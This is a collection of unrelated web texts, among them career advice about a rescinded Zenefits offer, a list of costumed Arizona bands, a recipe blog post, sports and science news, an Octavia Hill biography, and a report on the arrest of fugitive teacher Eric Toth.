So,: not Zenefits. The CEO revoking your offer after this perfectly reasonable question makes it sound like a bad place to work.Here's why.Asker, you're early in your career. When you explain that Zenefits isn't buzz-y, your big concern is that you want to get the best bang for your long-term buck.This is entirely fair.A positive work sitch early on compounds in big ways later in your career. Brand recognition matters. Being able to parlay past experience into future opportunities is acareer management skill.There's nothing wrong with including Zenefits's buzz in your calculus. You'd be irresponsible not to.What a fair reading of this says is that Zenefits failed to persuade you of its long-term resume value. That speaks to a failure in their sales process, not to a failure of fit.Problem is, these venture-funded companies end up smoking a lot of their own PR-pipe as they run around convincing people to grant them press exposure and investment money.This leads to a pretty beefy lack of humility after awhile. Chasing all of this outside validation makes your issue seem like an affront to their story, and therefore to their personal investment in the organization.That's an understandable blindspot, but remember:This sort of unchecked hubris means that if, later on, you have a problem in the workplace, getting it fixed will mean touching the very same third rail.Lack of humility is a bad signal.You got to the final stage of a difficult, expensive, important funnel for this organization. They thought enough of you to make you an offer—put cash and equity on the table because they bought your ability to contribute.While their precious startup snowflake means the world to them, at the end, we have to be real:Tech jobs are fungible means of paying the bills.If that seems harsh, just remember: startups view employees as largely fungible as well. Look how a simple question got an offer rescinded.Here's how the trade works. You get:In exchange, they order you around and occasionally induce you to work unpaid overtime.This is a really, really common deal. If Zenefits had something special, above and beyond this standard deal, it was incumbent upon them to identify what that was and why you should value it.It was up to Zenefits to either:Suss out that you weren't the right fit because you didn't share the team's valuesORIdentify what unique value only Zenefits could offer, and make it abundantly clear to you what that was.It should have been obvious to you, at the point where you held the letter, that Zenefits was the way to go. It wasn't.Okay, those fuckups happen sometimes.A good organization tries to learn from that. Figure out what they got wrong. Remedy it with you, or fix the process for the future.Instead, the company CEO threw a tantrum and rescinded your offer.No, that would be a bad sign for a cult. For a business, it's a reflection of a problem in the recruiting-as-sales process.You're supposed to—intrinsically—get the company? It's not on them to persuade you by telling a good story? Huh.If the candidate values big technical challenges,Most damning, after being caught, he covers for himself like he's doing you some kind of favor. C'mon.(via:There are better gigs. Look for less insecurity and more willingness to learn in your potential leadership.Look for a company that doesn't try to intimidate folks who would perform legit due diligence.Good luck out there. |
Halloween starts early. It begins with a couple of odd Facebook posts, a meme or two, and by the first week of October it's already looking like the nightmare before Christmas all over social media. Everyone seems to love Halloween time, whether they love the parties, bobbing for apples, or the chance to be another person. Now, the holiday is in full swing.
In the Arizona music scene there are a few bands that make it quite obvious that their favorite part of performing is the opportunity to be a whole different person. The way they show it is by being a different person every time they hit the stage!
A lot of bands are going to come up for Halloween with nifty group costumes and neat makeup, but this list isn't for them. This is for the bands that get dressed up in ridiculous getups night in and night out to make the magic happen.
Continue Reading
Fathers Day is disappointed in you. Troy Farah
1. Father's Day
The number one spot has to go to the daddy of them all, Father's Day. Douglas Patton and the fellas have been bringing the costumed punk hits to Phoenix for more than a decade, and big Doug taught them well. The mustache, the sunglasses, the machismo — Fathers Day brings the ruckus every time. The group keeps a consistent aesthetic with their dad apparel while giving their own individual flavor to each character. Doesn't matter if you favorite is Doug the business dad, Frank Brando the golf dad, Ronald Hayweather the stepdad, or Tony Sykes the olympic sports dad, it's always a fun time catching the costumed bad boys of dad rock doing their thing.
EXPAND B4Skin Jeff Moses
2. B4Skin
From the far south planet of Tucson, or a little farther south, even, if you catch my drift, comes the only satanic pop band on the planet as far as I know and they came to go hard! When the members of B4Skin dawn their costumes, the regular humans beneath the masks stop existing and all that is left are five soldiers of Satan sent forth to spread the message that the devil isn’t really that bad. B4Skin always puts on a fun show with their lovely trampoline ladies and the wonderful guitar work of the musician only known as “Male,” who keeps his identity a secret behind a welder's mask. The whole set is just a fun experience that not many Arizona bands are putting on right now.
3. The Limit Club
It’s not 100 percent certain that The Limit Club are wearing costumes up on stage, but Nick Feratu, Monty Oblivion, NickDave, and Juan Carlos really just might be vampires. But assuming they aren’t they bring out a wonderfully scary group aesthetic with their pale faces, matching patch jackets, and their generally creepy demeanor. These guys aren’t any gimmick band, though. When the four of them get together the music they make is top notch, which is why they were able to take some time out of Phoenix and head to Europe for the month of September. The Limit Club will definitely be a hot ticket come Halloween time and absolutely worth catching.
EXPAND Jerusafunk is the Valley's only klezploitation band. Rosie Torres
4. Jerusafunk
If the costume theme you’re looking for is crazy gypsy, then Jerusafunk is definitely the band you want to get down with. Seems like every show they play at least one of the members finds a way to get down to his skivvies to give the audience a good show, not they need to undress, with the power emanating from their four piece horn section. With or without the spandex body suits, the men in skirts, and all the pageantry, J-Funk is one of the most engaging bands in town, but when they are in the crazy costumes they kick their show up a full notch or two in the entertainment category.
The pothead's pothead. Jim Louvau
5. HotRock SupaJoint
The fakest rapper in all the land is also easily one of the most entertaining acts Phoenix has going right now. With his wig, his tattoo sleeves, and his ski- tight outfits, the king of weed rap presides over his fant kingdom looking down upon the peasants from a “high” up place. Then he hits the stage and it’s nothing but weed jokes and fun. Hotrock isn’t about much except for weed and having a good time, and the fact that he is willing to wear pants tighter than any skinny jeans we’ve ever seen at every performance only highlights his dedication to his character.
EXPAND Objects in mirror are closer than they appear. Troy Farah
6. Dinosaur Love
Somewhat like the Limit Club, it’s not 100 percent certain that Dinosaur Love is wearing a costume. The extinct lizard exterior really just might be his real form. Phoenix audiences seem to like him, anyway. With his quirky acoustic songs about prehistoric giant lizards and his signature dinosaur mask, the guy is quickly becoming a go-to performer at venues like the Trunk Space and Lawn Gnome Publishing. If the name didn’t give it away, Dinosaur Love is completely obsessed with dinosaurs, so naturally that’s what all of his songs are about. He fits in very well with his label mates on Related Records — his show is just as weird as the rest of them.
7. Shooda Shook It
Another Tucson act that takes on a new persona to get on stage is Shooda Shook It they’re a zombie disco five-piece and they are really fun live. They take the stage with their bodies covered in paint and sing most of their songs in two part harmonies adding zombie dance moves into the mix and perhaps the tide is about to come in for them seeing how popular zombies keep getting in film and media. They are definitely the type of band you want playing your Halloween party, though having them on any show will certainly add to the odd factor.
Cult of the Yellow Sign Benjamin Leatherman
8. Cult of the Yellow Sign
The Cult of the Yellow Sign walks a fine line between comedic musical entertainment and mild mental challenges, but good God is the cult entertaining. Like B4Skin, the Cult is not forthcoming with their true identities, but they are extremely forthcoming with the hilarious heavy metal at all of their shows. Be careful going to see them live because it only takes one show to get indoctrinated into the cult and once you join with those psychos, there is no turning back. They are kind of like the SupaJoint of heavy metal, only instead of doing songs about weed they do songs about death and destruction. |
The day after father’s day is as good a day as any to talk about gender roles in the kitchen, right? Kelsey and I have a lot of feels about this topic, especially since we both grew up in families with dads who could cook. My parents actually split cooking duties evenly. My mom took care of soups and salads and my dad usually looked after the main meat dish or Saturday morning waffles. And though this blog takes its main inspiration from our grandmother who loved to cook and bake, we are careful not to romanticize the era that she came from, an era when women didn’t have the same kind of freedom that we have to reject certain domestic responsibilities like cooking.
The rise in popularity of food blogging, an industry disproportionately populated by women, begs a number of questions about modern domestic labour, such as: are we reverting back to the ideal of the 1950s housewife? To what extent do food blogs indulge the fantasy of the domestic goddess? Or can you be a feminist and also love to cook?
For me, the answers to these questions are respectively “no” and “yes”. Until a few years ago, I thought the opposite; I had an aversion to cooking because knowing how to cook and even liking it didn’t fit with the image of “wildly successful writer and modern business lady” I had envisioned for myself. Sometimes I still worry that I spend too much time messing around with recipes instead of focusing on my “career”, but the fact is that since learning to cook, I’ve never felt more independent or self-sufficient.
Yes, cooking can be a selfless act in the service of others, but in another (possibly more real) way, knowing how to cook for and nourish yourself means that you don’t have to rely on anyone else to feed you. Consequently, this means big economic savings over time (due to not ordering takeout every night), plus major health advantages, and finally the peace of mind that you can rely on yourself for one basic mode of survival: eating. These are all really important things, I think, especially for women. I’m certainly no domestic goddess, but I’m glad I know how to cook.
However, this isn’t to say that I think all women should cook. That’s the point; we’re lucky enough to have a choice!
As die-hard prairie people, I know our grandparents also valued self-sufficiency. While they gardened and cooked for themselves all the time, my grandfather was also a carpenter and a mechanic. If the apocalypse had come while they were still alive, I’m 98% sure they would have been some of the few to survive, continue on, and create a new population of humans. So, for two reasons, “self-sufficiency” is exactly what this dish – pork chops with rhubarb black pepper compote – represents to me. First of all, as I may have mentioned before, I’ve been working hard to overcome a fear of cooking meat. Now I can check one more meat dish off my list: pan-seared bone-in pork chops!
Cooking meat successfully makes me feel independent and, frankly, badass.
Reason number two is that rhubarb was a major crop in our grandma’s garden. When we were kiddos, I remember her teaching us about how rhubarb could grow in very harsh climates. In fact, it seemed to her that it did better in the years with colder winters. She taught us to never eat the leaves and she also let us bite into one of the raw stalks. I remember being awestruck that something that tasted so awful out of the garden tasted so delicious in pie.
So, rhubarb to me is this self-sufficient crop that does what it wants when it wants, but at the same time it’s reliably tasty. I’d never thought of putting it on pork chops before, but inspiration struck when I came across some rhubarb at the produce stand next to our apartment. I snatched it up right away, surprised for some reason to find something that I associated so strongly with Alberta in the middle of Paris, France.
Turning the rhubarb into a sauce that I could spread on baguettes and dollop on cereal in the morning or with cheese after dinner seemed to be the most efficient thing that I could do with it. I was right; this rhubarb black pepper compote is also the perfect pairing for pork chops. It’s sweet and savoury and a little tart. I’m sure Grandma would approve.
You can eat now!
PS: I suggest pairing these pork chops + rhubarb black pepper compote with a light fennel arugula salad and a glass of white wine. Let us know if you try something different!
PPS: Happy father’s day to our dads, Doug and Ken!
Pork Chops with Rhubarb Black Pepper Compote 2016-06-20 05:23:19 Serves 2 Write a review Save Recipe Print Prep Time 7 min Cook Time 28 min Total Time 35 min Prep Time 7 min Cook Time 28 min Total Time 35 min For the Rhubarb Black Pepper Compote 6 cups (or 2 lbs) rhubarb, chopped into 1-inch pieces 1 cup sugar 1/3 cup water about 10 cranks of freshly ground black pepper (to taste) For the pork chops 5 tbsp olive oil 2 bone-in pork chops 2 teaspoons dried sage salt and pepper For the Rhubarb Black Pepper Compote Make the compote first. Combine all ingredients in a saucepan. Bring to boil, stirring until sugar dissolves. Reduce heat to medium-low and simmer until rhubarb is very soft and begins to fall apart, about 20 minutes. For the pork chops Mix olive oil, salt, pepper, and sage in a small bowl. Rub mixture over uncooked pork chops. Heat remaining 2 tbsp of olive oil in a large non-stick skillet over medium-high heat. When oil is just about to start smoking, add pork chops to the pan and cook for about 8 minutes, flipping every minute, until browned on the outside. Internal temperature should read 145 degrees Fahrenheit. Remove pork chops from the pan, cover with foil and let sit for at least 3 minutes. While pork chops are resting, turn the heat down to medium-low and add about 4 spoonfuls of the rhubarb black pepper compote to the pan, mixing with the hot drippings left behind by the pork chops for 1 minute. Serve the pork chops topped with a few spoonfuls each of the rhubarb black pepper compote/drippings mixture. Notes Rhubarb black pepper compote can be prepared 2 days ahead. Cover and keep refrigerated. You Can Eat Now http://www.youcaneatnow.com/
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The 13th annual corn maze at Kraay Family Farm in Lacombe, Alberta is even more spectacular than the great designs of previous years. The whole maze covers 15 acres, with three lookout bridges and has a central QR Code cut out that covers 7.121 acres which is approximately 560ft x 560ft. Rachel Kraay tells me that the QR Code does scan from the air and resolves to the Kraay Family Farm website. At well over 300,000 square feet the QR Code is more than 14 times larger than the previous world record set in Toronto in June. If you are anywhere within range pay it a visit because the opportunity to get lost in a world record QR Code does not come along very often! Well done Kraay Family Farm. (30 July 2012 Edit: New video below taken from the helicopter while scanning the code from the air). |
Eric Justin Toth, who was a third-grade teacher at Washington National Cathedral’s exclusive Beauvoir elementary school, had been on the run for five years.
Eric Justin Toth, who was a third-grade teacher at Washington National Cathedral’s exclusive Beauvoir elementary school, had been on the run for five years.
Eric Justin Toth, who was a third-grade teacher at Washington National Cathedral’s exclusive Beauvoir elementary school, had been on the run for five years.
Former D.C. teacher on FBI’s ‘most wanted’ list for child porn is found in Nicaragua
Former D.C. teacher on FBI’s ‘most wanted’ list for child porn is found in Nicaragua
Eric Justin Toth, the former D.C. elementary school teacher and accused child pornographer who replaced Osama bin Laden on the FBI’s Ten Most Wanted list, has been found in Nicaragua, according to people familiar with the case.
Toth had been on the run for almost five years. He fled after officials at Washington National Cathedral’s exclusive Beauvoir elementary school found explicit photos of a student on a camera assigned to him, authorities said.
Toth, 31, was taken into custody Saturday night in Nicaragua, but as of Monday afternoon he had not been extradited to the United States, said the individuals, who spoke on the condition of anonymity because Toth was not yet in the country.
The FBI declined to comment.
Police have been looking for Toth since June 2008, when Beauvoir officials found the explicit photos, confronted him and then had him escorted to the end of the cathedral driveway.
The FBI held a news conference on Tuesday detailing the arrest of Eric Justin Toth in Nicaragua. The ex-Beauvoir teacher has been on the FBI’s Top Ten Most Wanted list for alleged child pornography. (The Washington Post)
They called police that day, but Toth was already gone.
The school said Monday that officials there were told by federal authorities that Toth had been arrested.
“We commend the work of the Office of the U.S. Attorney and the FBI for their ongoing efforts to apprehend Mr. Toth,” school officials said in a statement. “They have been tenacious and resolute in their quest to bring this case to justice.”
Last year, the FBI upgraded Toth from a local most-wanted list and named him one of the country’s most notorious fugitives. His face was plastered on bus stops and billboards in the Washington area and nationwide, including in Manhattan’s Times Square.
At the time, FBI officials said they gave Toth such treatment because they thought that he was a threat to children and that the description of him — thin, 6-foot-3, green eyes and a mole under his left eye — might be enough to help someone identify him.
It took about a year from that time until the weekend, when authorities caught up with him in Central America.
Toth had been a third-grade teacher at Beauvoir for three years.
View Graphic Tracking fugitive Eric Justin Toth
He is accused of taking sexually explicit photographs of a boy at the victim’s home in the summer of 2007, according to the FBI and court documents.
He also is accused of installing a video camera in his third-grade class’s bathroom and using it to record his students.
Toth has been indicted on charges of producing child pornography. Warrants have been issued for his arrest in the District and in Maryland, and some of the charges have been sealed.
Some Beauvoir parents have said the teacher sometimes spent nights in his classroom closet and lavished attention on certain 8- and 9-year-old boys, holding them on his lap.
The parents said it was common knowledge that Toth was entwined in the lives of Beauvoir students — particularly male students — and sometimes in unusual ways. He babysat and tutored them, at times for free. He slept at their houses as a babysitter when parents were away and was a guest at one boy’s home for weeks.
Toth was born in Fairfax County and grew up in Indiana, according to the FBI. He studied at Cornell University before earning his undergraduate degree in education from Purdue University.
Toth has worked as a nanny, teaching assistant and youth counselor.
The FBI has tracked some of his movements since the June 2008 day school officials found his camera with explicit photos. That afternoon, he withdrew cash in Arlington County and arrived the next day at his family’s home in Hammond, Ind., where he stayed for a day or two.
The next day, he bought a cellphone and Global Positioning System device from a Circuit City store in Madison, Wis, authorities said. A day later, he drove a Honda sedan to a long-term parking lot at Minneapolis-St. Paul International Airport. Inside the car, he left a bogus suicide note indicating that police could find his body in a nearby lake.
On Aug. 1, 2008, officials noticed the Honda had exceeded the allowable number of days in the parking area. They found the note, as well as explicit images police say might date to his time at a summer camp in Wisconsin.
A year later, Toth turned up in Phoenix at a homeless shelter and rehabilitation facility. He used the name David Bussone, a man he met in Phoenix, and told people at the shelter that he had taken a vow of poverty and that he was living a spartan life.
He was volunteering there as a tutor when someone who had seen him featured on the TV show “America’s Most Wanted” called police. Toth vanished before officers arrived. |
Mike Zimmer has a history of quick defensive turnarounds, and he has done it again in 2014.
No NFL team has improved its ranking in total defense from 2013 to 2014 more than the Vikings, who with a strong finish can climb into the league’s top 10.
The Vikings are tied for 11th in total defense, allowing 339.9 yards per game. Last season, under Leslie Frazier, they ranked 31st at 397.6 per game.
This year’s team is 43 total yards allowed behind the San Diego Chargers, who rank ninth.
“It always comes back to one attitude I like about this team,” defensive end Brian Robison said. “No matter what our ranking is, we’re not satisfied and we want to be better. So for these next two games, we’re going to make a push to keep climbing the rankings and hopefully have something good to build off in the offseason.”
There is instability when it comes to top-10 defenses. Only three teams that ranked in the top 10 in yards allowed a season ago — Seattle, San Francisco and Buffalo — are in the top 10 this season. There are five offenses in the top 10 in total yards for a second consecutive year.
Denver, Kansas City, San Diego, Washington and Miami, which the Vikings play this weekend, have gone from the bottom half of the league in 2013 to the top 10 in 2014. But no team has climbed higher than the Vikings’ 20-spot rise even with eight new starters on defense.
“It is a totally different room,” Robison said.
Zimmer doesn’t want to think about his team’s defensive ranking until after the season.
“There’s still a lot of football to be played,” the first-year coach said. “I had a defense in Dallas one time that was really good, I think we were fifth in the league at one time. And the last four games we didn’t play worth a lick, and we ended up 13th in the league, so I’d just as soon wait until we finish up.”
Homecoming game
Rookie quarterback Teddy Bridgewater grew up in Miami and expects to have a lot of supporters at Sun Life Stadium on Sunday.
“I’m pretty loved back home in Miami and a lot of people tell me that I’m a role model in my community,” Bridgewater said. “So it’ll be amazing to see how many turn out there and get to see me play in person.”
Bridgewater added that when he was a kid, he knew he would play at the stadium someday.
“As a child I had high dreams and aspirations [about] making it to the National Football League, and to be able to play there my first year in the NFL, it’s pretty amazing,” he said.
Dixon promoted
Down to three healthy safeties, the Vikings promoted Ahmad Dixon from their practice squad to fill the spot on the 53-man roster vacated when tackle J’Marcus Webb was waived Tuesday.
Dixon started the season with Dallas, which drafted him in the seventh round. The rookie since spent time with the Vikings, Bears, Dolphins and the Vikings again. He has only played in an NFL game for the Bears, on special teams.
“He’s a talented guy,” Zimmer said. “He’s been bouncing around on some different practice squads for a little bit. He’s a guy to look at for a possibility in the future.”
The Vikings added rookie guard Jordan McCray to their practice squad, which had an open spot after the loss of cornerback Chris Greenwood to the Ravens.
Floyd back
Defensive tackle Sharrif Floyd returned to practice Wednesday after missing Sunday’s game at Detroit. He has been battling a knee injury that halted his progress. The second-year pro was thriving as a pass rusher and run disrupter.
“Frustration is an understatement for the past few weeks,” Floyd said. “But what can I do? My body is what keeps me going and when it tells me to stop, sometimes you’ve just got to listen.”
Tight end Kyle Rudolph (ankle and knee) and nose tackle Linval Joseph (illness) missed practice, joining injured starters in outside linebacker Anthony Barr (knee), safety Robert Blanton (ankle and knee) and left guard Charlie Johnson (ankle) on the sideline. |
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Octavia Hill was an English social reformer, whose main concern was the welfare of the inhabitants of cities, especially London, in the second half of the nineteenth century. Born into a family with a strong commitment to alleviating poverty, she herself grew up in straitened circumstances owing to the financial failure of her father. With no formal schooling, she worked from the age of 14 for the welfare of working people.
Key Facts about Octavia Hill
Born 1838, died 1912
Fought for improvements in urban living standards for the poor
Created a widely-adopted model of urban development
Championed the creation of open spaces for cities and helped found the National Trust
Encouraged women to enter professional work
A Short Biography of Octavia Hill
The Industrial Revolution is generally seen as major step forward in history, but for those caught up in it there were many negatives. For those who migrated from rural life to the cities to provide the huge labour forces needed for the early factories, both working conditions and living conditions were often appalling. From the modern perspective of unions, social housing and welfare systems it can often be hard to imagine what life was like in the urban slums and also to appreciate the work that was done by social reformers in their attempts to alleviate these problems. A key figure in the development of both social housing and support for the poor was Octavia Hill.
Octavia Hill was born on December 3rd, 1838. Her father was a quite prosperous corn merchant and banker who had been widowed twice and had married Caroline Southwood Smith in 1835. Caroline was no ordinary mother. Her father, Thomas Southwood Smith was a social reformer and a pioneer in public health. Caroline had written on education and it was her writing that had attracted James Hill to hire her as a governess for his children, an appointment that led to their eventual marriage.
Life for Octavia and her eight siblings did not continue for very long in a comfortable way, however. Her father got into financial difficulties, suffered a mental collapse and in 1840 became bankrupt. Caroline’s father stepped in to support his daughter and the children both financially and as a surrogate father. The family moved to a small cottage in what was then the village of Finchley outside London. Octavia was educated at home and was greatly influenced by the activism of her mother and grandfather, who both worked on social issues of the time such as child labour in mining, housing for the poor, education and public health.
As a child Octavia was already carrying out secretarial duties for women’s classes at the Working Men’s College in Bloomsbury and making toys for the Ragged School Movement. These were schools, often established by churches, which provided free education for children of the slums who otherwise would have had no education at all. The conditions in these schools were often very poor and they attracted the attention of social reformers, including Charles Dickens, who wrote A Christmas Carol in response to the plight of these children. These schools ultimately provided the impetus for the state education system.
At the age of 13 Octavia found employment at a co-operative established to provide income for what at that time were referred to as “distressed gentlewomen”, that is to say, members of the middle-class who lacked the normal support structure of their class and background. When the co-operative started a workshop so that children from Ragged Schools could come and make their own toys, Octavia, now just 14, was placed in charge of the workshop. She developed strong views on the need to foster self-reliance rather than charity and joined the Charity Organization Society which had a reputation for taking a strong stance on the poor who simply took hand-outs.
Although Parliament had begun to tackle the problems of urban housing, the poorest – unskilled labourers – were still neglected and Octavia found the behaviour of landlords who rented to the poor so exploitive and indifferent that she decided that the only solution was to become a landlord herself. She was by this time known to John Ruskin, someone famous for his work in promoting artists like Turner and the Pre-Raphaelites but who was also a philanthropist for social issues. In 1865 he paid £750 to buy three run-down cottages in Paradise Place, Marylebone which he placed under Octavia’s management, telling her she needed to demonstrate a 5% annual return on the investment to make the concept attractive to other investors. The following year he purchased a further five houses nearby.
By strict management Octavia not only generated the required 5% return, but had an excess to re-invest in improving the properties. Her success attracted further investors and by 1874 she had 15 such schemes with a total of 3,000 tenants. She believed in direct contact between landlords and tenants will both sides sharing in the upkeep. She also believed in the importance of open spaces and developed small parks adjacent to her properties whenever possible. In addition she used other women, first as volunteers and then as paid professionals, to manage her properties, thus creating opportunities for women to enter the workforce in non-traditional roles.
Octavia Hill was a passionate speaker, short in stature, with little regard for her appearance and so outspoken in her demands for action by the wealthy, that the Bishop of London said that after listening to her speak for half-an-hour he had ‘never had such a beating’ in his life. She also developed a concept of ‘cultural philanthropy’ believing that exposure to art and beauty could improve the life of the poor. She founded the Kyrle Society in 1875 as a society ‘for the diffusion of beauty’ and was strongly supported by William Morris. The Society planted trees and flowers in urban areas and promoted aesthetics in the architecture and decoration of houses.
Because of her belief in the value of open spaces, she campaigned for the preservation of parks close to the centre of London, arguing that it was very difficult for poor working people going to more remote places, such as the Epping Forest, which had recently been preserved. Largely because of her efforts Hampstead Heath and Parliament Hill Fields were preserved from development and in fact she was the first person to use the term Green Belt. She also worked with Canon Hardwicke Rawnsley and John Ruskin to create the National Trust.
As she became older her work was largely taken over by the growth of state-funded housing – which she opposed. She also opposed the vote for women, welfare payments and old-age pensions and she became increasingly isolated because of her unpopular views. She died in her home in Marylebone on August 13th, 1912.
Her Legacy
Her concept of Housing Trusts became a model for many others and her original trust still exists as Octavia Housing. The concept of social housing flowed directly from her work. Her pioneering work in housing integrating different income levels became the Settlement Movement. Her ideas on urban housing were adopted across Europe and influenced the development of North American cities too.
The women she employed eventually became the Chartered Institute of Housing, the professional body in the UK for workers in the housing field.
Her Charity Organization Society became a model for the profession of social work and still exists today as the charity Family Action.
The National Trust became the key player in the preservation of homes, gardens and countryside in the UK.
Sites to Visit
The house in which Octavia was born, at 7 South Brink, Wisbech, Cambridgeshire, is now a listed building and a museum to her work.
There is a large stone seat erected in 1915 as a monument to Octavia Hill on Hydon Ball, a hill in Surrey owned by the National Trust.
There is an English Heritage Blue Plaque at Garbutt Place (previously Paradise Place), Marylebone, London, Octavia’s first cottages.
Other Octavia Hill housing can be seen at St Christopher’s Place, W1.
Her style of low-rise cottages can also be seen at Ranston Street, NW1 and her concept of urban planning in the Red Cross Cottages, hall and gardens at Redcross Way, Southwark.
Further Research
Her work in her own words can be read in Homes of the London Poor (1875) and in the Life of Octavia Hill: As Told in her Letters edited by C. Edmund Maurice (2010)
Biographies include: Octavia Hill, by Gillian Darley (1990) and Octavia Hill: a Biography by E.Moberley Bell (1986)
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Japan's Yamaguchi prefecture markets itself as 'the new Australia'
Updated
A prefecture in Japan is marketing itself as the new Australia because it has a similar shape, complete with a would-be Tasmania.
About 1.5 million people live in Yamaguchi prefecture, located on the southern tip of Japan's main island of Honshu.
Yamaguchi's local council is hoping to attract Japanese tourists, who cannot afford to travel to Australia, to come and see the sights much closer to home.
"For people who can't go to Australia, let's enjoy the mood of Australia in Yamaguchi," the Yamaguchi prefectural website said.
The website compares many famous Australian landmarks to its local landmarks and says tourists can have a "fantasy trip to Australia in Yamaguchi".
While Australia has the Sydney Harbour Bridge, Yamaguchi has a similar icon - the Kintai Bridge, a 300-year-old wooden bridge which spans the Nishiki River.
Yamaguchi does not quite match Australia when it comes to size.
It would only take a bit over an hour to drive from east to west, but Yamaguchi's marketing department sees this as a positive.
The mini-tour of mini-Australia could take in the rock formations of the Akiyoshidai plateau, which Yamaguchi council sees as not dissimilar from Australia's iconic Uluru.
And the similarities do not stop there.
The distinctive boab tree of Western Australia and the Northern Territory also has a Japanese counterpart.
Yamaguchi has a camphor tree that is over 1,000 years old.
The Great Barrier Reef, one of the seven wonders of the natural world, now has a rival - the world's largest colony of Japanese Daisy Coral is found in Yamaguchi.
A spokesman for the Yamaguchi council said the idea came up about four years ago, but the website has received extra traffic recently as a result of Twitter.
Topics: travel-and-tourism, lifestyle-and-leisure, human-interest, japan, asia, australia
First posted |
Newswise — HOUSTON -- ( Nov. 2, 2012 ) -- A new tool developed by scientists at The Methodist Hospital separates tumor-causing cancer cells from more benign cells by subjecting the cells to a microscopic game of Plinko -- except only the squishiest cells make it through.
As reported in this week's Proceedings of the National Academy of Sciences (early edition online), the more flexible, tumor-causing cells navigated a gamut of tiny barriers, whereas the more rigid, more benign cells had trouble squeezing through 7 micrometer holes. Methodist scientists worked with University of Texas MD Anderson Cancer Center researchers to test the device with different kinds of cancer cells.
The work supports the hypothesis that cell squishiness indicates tumor potential. Most normal cells contain a developed cytoskeleton -- a network of tiny but strong rod-shaped proteins that give cells their shape and structure. In their feverish drive to divide, cancer cells may be diverting resources away from developing a cytoskeleton in favor of division, hence the squishiness.
"We have created many pathways for cells to cross barriers," said Methodist nanomedical faculty Lidong Qin, Ph.D., the project's principal investigator. "The throughput of a MS-Chip is at the level of one million cells. When a stiff cell blocks one particular barrier, many other bypasses will allow flexible cells to flow through."
Cancer stem cells are known to be squishier than other cancer cells. The team of scientists showed that flexible cells separated by the MS-Chip exhibited gene expression patterns consistent with cancer stem cells.
"Many papers indicate the presence of cancer stem cells means a worse prognosis for patients," said cancer scientist Jenny Chang, M.D., co-principal investigator and director of Methodist's Cancer Center. "Yet they are not typically quantified by doctors."
Subsequent analysis of separated cells by the Methodist and MD Anderson team showed the flexible cells were less likely to express cell cytoskeleton genes and more likely to express the motility genes that could contribute to metastasis.
By testing for the presence of metastatic cells, doctors may be able to tell whether cancer treatment was successful, or an as-yet untreated cancer's likelihood of metastasizing to another part of the body.
A growing awareness of cancer stem cells' role in cancer metastasis and recurrence and has been frustrated by the absence of technology that makes this knowledge useful to doctors and their patients. Up to now, there has been no way of quickly and reliably separating and identifying the more dangerous tumor-causing cells from a biopsy.
The new device, which was developed at Methodist, successfully enriched tumor-causing cells from a mixture of cancer cells. It is called the Mechanical Separation Chip, or MS-Chip. Cells separated by the device can be easily collected and studied. The current standard for cell separation, flow cytometry, is relatively slow and relies on cell surface biomarkers.
"Our microfluidics cell separation via MS-Chip provides a high throughput method that can particularly sort cells to different levels of stiffness, which opens a new avenue to study stiffness related cellular and molecular biology," Qin said. "Downstream molecular analysis, including genomic and proteomic profiling of the cell subtypes, provides an approach to identifying new biomarkers relevant to cancer stem cells and cancer metastasis."
Right now, each MS-Chip costs about $10 to produce.
"If massively produced, MS-Chip cost could be at the level of one dollar per chip," Qin said. "Running a mechanical cell separation will be even less expensive than flow cytometry cell sorting."
###
This work was funded by grants from the Cancer Prevention and Research Institute of Texas, the U54-CA149196-Pilot Project, the Emily Herrmann Research Fund, Golfers Against Cancer Foundation, and the State of Texas Rare and Aggressive Breast Cancer Research Program.
Also contributing to the PNAS report were Weijia Zhang, Dong Soon Choi, Yen H. Nguyen, Helen Wong, and Melissa D. Landis (The Methodist Hospital Research Institute), and Kazuharu Kai, Takayuki Iwamoto, and Naoto T. Ueno (University of Texas MD Anderson). Qin is also an assistant professor of cell and developmental biology at the Weill Cornell Medical College of Cornell University, and Chang is a Weill Cornell professor of medicine.
To speak with Qin or Chang, please contact David Bricker, The Methodist Hospital System, at 832-667-5811 or [email protected]. |
Researchers have discovered a protein that is the missing link in the complicated chain of events that lead to Alzheimer's disease. They also found that blocking the protein with an existing drug can restore memory in mice with brain damage that mimics the disease.
"What is very exciting is that of all the links in this molecular chain, this is the protein that may be most easily targeted by drugs," said Stephen Strittmatter, a Yale University School of Medicine Professor of Neurology and senior author of the study. "This gives us strong hope that we can find a drug that will work to lessen the burden of Alzheimer's."
Scientists have already provided a partial molecular map of how Alzheimer's disease destroys brain cells. In earlier work, Strittmatter's lab showed that the amyloid-beta peptides, which are a hallmark of Alzheimer's, couple with prion proteins on the surface of neurons. By an unknown process, the coupling activates a molecular messenger within the cell called Fyn.
In the Neuron paper, the Yale team reveals the missing link in the chain, a protein within the cell membrane called metabotropic glutamate receptor 5 or mGluR5. When the protein is blocked by a drug similar to one being developed for Fragile X syndrome, the deficits in memory, learning, and synapse density were restored in a mouse model of Alzheimer's.
Strittmatter stressed that new drugs may have to be designed to precisely target the amyloid-prion disruption of mGluR5 in human cases of Alzheimer's and said his lab is exploring new ways to achieve this.
Citation: Ji Won Um, Adam C. Kaufman, Mikhail Kostylev, Jacqueline K. Heiss, Massimiliano Stagi,
Hideyuki Takahashi, Meghan E. Kerrisk, Alexander Vortmeyer, Thomas Wisniewski, Anthony J. Koleske, Erik C. Gunther, Haakon B. Nygaard, Stephen M. Strittmatter, 'Metabotropic Glutamate Receptor 5 Is a Coreceptor for Alzheimer Aβ Oligomer Bound to Cellular Prion Protein', Neuron, Volume 79, Issue 5, 887-902, 4 September 2013 DOI: 10.1016/j.neuron.2013.06.036 |
Susan Rice said a major part of her work as U.S. ambassador to the United Nations is defending Israel’s legitimacy.
“It’s a huge part of my work to the United Nations,” Rice said Sunday evening, launching this year’s Consultation on Conscience, an event for Reform movement social activists organized by the Religious Action Center.
She likened the volume of work to her efforts to coordinate Syria’s isolation and to contain violence and abuses in Sudan.
She said she often works in “lockstep” with the Israeli delegation.
“We will not rest in the crucial work of defending Israel’s security and legitimacy every day at the United Nations,” Rice said.
She said Israel’s success at the United Nations often is not reported, for instance in joining the boards of the U.N. Development Program and UNICEF, and in advancing development initiatives.
Rice also discussed the U.S. role in brokering the birth of South Sudan and in monitoring continuing abuses in Sudan, and in attempting to rally other nations to isolate the Assad regime in Syria as a means of stemming the carnage in that country. The Consultation on Conscience features workshops on social action and meetings with government figures.
